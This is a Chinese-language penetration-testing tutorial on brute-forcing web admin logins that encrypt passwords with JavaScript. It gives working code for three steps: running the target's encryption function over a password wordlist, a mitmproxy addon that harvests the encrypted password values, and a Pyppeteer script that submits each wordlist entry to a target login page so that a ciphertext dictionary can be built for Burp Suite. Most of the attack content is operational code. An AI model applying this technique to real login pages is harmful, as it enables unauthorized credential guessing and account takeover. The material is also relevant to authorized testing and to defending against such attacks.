采集器绕过js加密爆破
字数 928 2025-08-19 12:42:18
采集器绕过JS加密爆破技术详解
0x00 前言
在渗透测试过程中,爆破是不可缺少的一环。但在Web后台爆破中常会遇到JS加密的影响,导致爆破困难。本文提供两种解决方案:常规JS加密函数处理方法和创新的采集器方法。
0x01 常规解决方案
方法步骤
- 抓包分析:发现账号密码全部加密传输
- 定位加密函数:在网页源码中搜索加密函数
- 复制加密逻辑:将目标JS加密函数拷贝到本地
- 处理字典:使用Python将密码字典转换为JS数组格式
- 生成密文:在HTML中调用加密函数处理明文字典
- 爆破:使用Burp Suite进行常规爆破
示例代码
// 调用DES加密函数处理密码
let arr = ['password1', 'password2', 'admin'];
for(let i=0; i<arr.length; i++){
password = arr[i];
pwd = strEnc(password,'1','2','3'); // 调用目标加密函数
document.write(pwd + "<br>");
}
0x02 采集器方法
当遇到JS混淆或难以理解的加密逻辑时,可采用采集器方法:
- 使用Pyppeteer模拟浏览器输入明文密码
- 使用Mitmproxy截取加密后的流量
- 提取加密后的密码形成新字典
0x03 Mitmproxy流量截取
实现原理
Mitmproxy作为中间人代理,可以截取并修改HTTP/HTTPS流量。
关键代码
from mitmproxy import ctx, flowfilter
class Recorder:
def request(self, flow):
re = flow.request.get_text()
string = re.split('&') # 从&分割
for secret in string:
if 'password' in secret: # 提取password字段
s = secret.split('=',1)[1:] # 获取等号后内容
with open("pass.txt", "a") as f:
f.write(s[0] + "\n")
addons = [Recorder()]
使用方法
mitmweb -s gather.py
默认监听8080端口,8081端口为流量历史记录界面。
0x04 Pyppeteer模拟输入
实现原理
Pyppeteer是Puppeteer的Python实现,可以控制Chromium/Chrome浏览器。
关键代码
import asyncio
from pyppeteer import launch
async def main():
url = "https://target/login.htm"
with open("pass.txt", "r") as f:
for password in f.readlines():
browser = await launch({
'headless': False,
'args': ['--proxy-server=127.0.0.1:8080'],
"ignoreHTTPSErrors": True
})
page = await browser.newPage()
await page.goto(url)
password = password.strip()
await page.type("input[id=username]", "test")
await page.type("input[id=password]", password)
await page.type("input[id=code]", "0000")
await page.click('button[type="submit"]')
await page.waitFor(1000)
await page.close()
await browser.close()
asyncio.get_event_loop().run_until_complete(main())
注意事项
- 需要安装Mitmproxy证书才能处理HTTPS流量
- 适当增加等待时间避免页面未加载完成就执行操作
- 建议添加错误处理机制
0x05 实验效果
- 启动Mitmproxy监听
- 运行Pyppeteer脚本模拟登录
- 脚本会自动将加密后的密码保存到文件
- 使用生成的密文字典进行爆破
常见问题解决
- 页面元素定位失败:增加
await page.waitFor(1000)等待时间 - HTTPS证书错误:安装Mitmproxy证书并添加
ignoreHTTPSErrors参数 - 网络延迟问题:在循环中添加适当的延迟
总结
本文提供了两种绕过JS加密进行爆破的方法:
- 常规方法适用于JS加密逻辑清晰的情况
- 采集器方法适用于JS混淆或复杂加密的情况
采集器方法通过模拟浏览器行为+流量截取的组合,有效解决了复杂JS加密的爆破难题,具有通用性强、适应性好的特点。